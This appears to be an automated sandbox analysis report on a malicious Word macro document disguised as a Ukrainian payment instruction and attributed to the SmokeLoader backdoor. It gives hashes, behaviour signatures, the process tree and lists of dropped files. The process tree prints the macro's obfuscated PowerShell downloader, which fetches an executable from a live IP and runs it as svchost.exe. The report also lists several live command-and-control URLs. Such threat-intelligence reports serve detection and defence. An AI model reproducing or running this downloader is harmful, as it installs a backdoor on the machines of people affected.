Overview

overview

10

Static

static

8

Платі...f.docm

windows7-x64

10

Платі...f.docm

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    23-05-2024 18:14

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Платіжна інструкція № 472.rtf.docm

  • Size

    106KB

  • MD5

    0bd1328012301d04bdc921acb321b820

  • SHA1

    724612a3c88f187aa000efe4ff4e9e04c9553696

  • SHA256

    7be9ef61632edc0f2fc6ad59d64ad69dbffbd05013a80ab1dfbb6bd8a6090b66

  • SHA512

    d588760ba4fb450a41563849ec10da311ef317c80da1e816b5d88198aef35379fd15f63512620fa7514f7d46f719afc07bce5fff7690ae6336e5a7d747e7d22f

  • SSDEEP

    1536:FCuLaHmmF7tG8Q/qk8fowr/5mUpKNEteuEC5/ThAoLCAJZSfx6BrqbyGfh:hLIt7tD/rRmCK6guEC5/ThAQSfxSuGQ

Score
10/10
smokeloaderbackdoortrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://45.84.0.173/download_22/server.exe

Extracted

Family

smokeloader

Version

2022

C2

http://rafraystore.ru/index.php

http://picwalldoor.ru/index.php

http://agentsuperpupervinil.ru/index.php

http://vivianstyler.ru/index.php

http://sephoraofficetz.ru/index.php

http://vikompalion.ru/index.php

http://ccbaminumpot.ru/index.php
rc4.i32
rc4.i32

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Платіжна інструкція № 472.rtf.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1772
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c timeout 3 && Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2780
      • C:\Windows\SysWOW64\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:2152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFdlYiA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7ICRVcmwgPSAnaHR0cDovLzQ1Ljg0LjAuMTczL2Rvd25sb2FkXzIyL3NlcnZlci5leGUnOyAkUHRoID0gIiRlbnY6VGVtcFxzdmNob3N0LmV4ZSI7ICRXZWIuRG93bmxvYWRGaWxlKCRVcmwsICRQdGgpOyBJbnZva2UtRXhwcmVzc2lvbiAkUHRoOw==')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2616
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXAGUAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAFUAcgBsACAAPQAgACcAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADQALgAwAC4AMQA3ADMALwBkAG8AdwBuAGwAbwBhAGQAXwAyADIALwBzAGUAcgB2AGUAcgAuAGUAeABlACcAOwAgACQAUAB0AGgAIAA9ACAAIgAkAGUAbgB2ADoAVABlAG0AcABcAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAiADsAIAAkAFcAZQBiAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAIAAkAFAAdABoACkAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACQAUAB0AGgAOwA=
          4⤵
          • Blocklisted process makes network request
          • Loads dropped DLL
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2440
          • C:\Users\Admin\AppData\Local\Temp\svchost.exe
            "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
            5⤵
            • Executes dropped EXE
            • Checks SCSI registry key(s)
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            PID:1276
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2628

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Initial Access

    Execution

    Persistence

    Privilege Escalation

    Defense Evasion

    Modify Registry

    1
    T1112

    Credential Access

    Discovery

    Query Registry

    2
    T1012

    Peripheral Device Discovery

    1
    T1120

    System Information Discovery

    1
    T1082

    Lateral Movement

    Collection

    Exfiltration

    Command and Control

    Impact

    Resource Development

    Reconnaissance

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      c30028c0e2f17316237279d0206dca91

      SHA1

      153a84bd932acbd85f9720411dffb94488d118cb

      SHA256

      8bc93f0fbd75fe54fd115dcaf23a8bdc3c203b78aa65ae8c3c1a49417de98269

      SHA512

      d9f0f8930b5b9b987816209856357fd737544a2404dd384bdf898e24671a748ff3d71e1b01a5a2a4b10c65bc55752ebb9ddd369a3d7889660e4becdefa8a5166

      Download Submit
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      Filesize

      7KB

      MD5

      a598c976c27d8d9f5b6241251b153387

      SHA1

      7d4e8b78795387e3c9e487f4bb9f4c1be0f8db52

      SHA256

      0eb40d4578821e740ed759844f6c364eea7f2abe3503b0d3358877c98b1654b9

      SHA512

      2d04491621d56e60fdba9310c2e38a844f2936b03b572c3914c9b628506e73eb4e31540ffd4f9ce05d8b01de74b356fdebdbabcce122f20571d9dc479034a9e5

      Download Submit
    • \Users\Admin\AppData\Local\Temp\svchost.exe
      Filesize

      180KB

      MD5

      92c57dd80b764a028749520017d44e76

      SHA1

      f732220adaacf23de6cc69d964341766d2e350d9

      SHA256

      dbd741a45d840d06d708339f9e9824f2a0d745ea6537ca44bff233ba7441bfda

      SHA512

      dd7d363fef5750a256abc2ae43d17f8e4788d392afaa74a2085f34da05efeb12373f38fbf480e1c86eb2759c667c971c7c54512f5d59ee61f5a0a4341ac406c8

      Download Submit
    • memory/1204-34-0x0000000002E50000-0x0000000002E66000-memory.dmp
      Filesize

      88KB

      Download
    • memory/1276-35-0x0000000000400000-0x0000000002349000-memory.dmp
      Filesize

      31.3MB

      Download
    • memory/1772-0-0x000000002F1C1000-0x000000002F1C2000-memory.dmp
      Filesize

      4KB

      Download
    • memory/1772-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download
    • memory/1772-2-0x000000007166D000-0x0000000071678000-memory.dmp
      Filesize

      44KB

      Download
    • memory/1772-7-0x00000000061E0000-0x00000000062E0000-memory.dmp
      Filesize

      1024KB

      Download
    • memory/1772-38-0x000000007166D000-0x0000000071678000-memory.dmp
      Filesize

      44KB

      Download
    • memory/1772-39-0x00000000061E0000-0x00000000062E0000-memory.dmp
      Filesize

      1024KB

      Download
    • memory/1772-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

      Download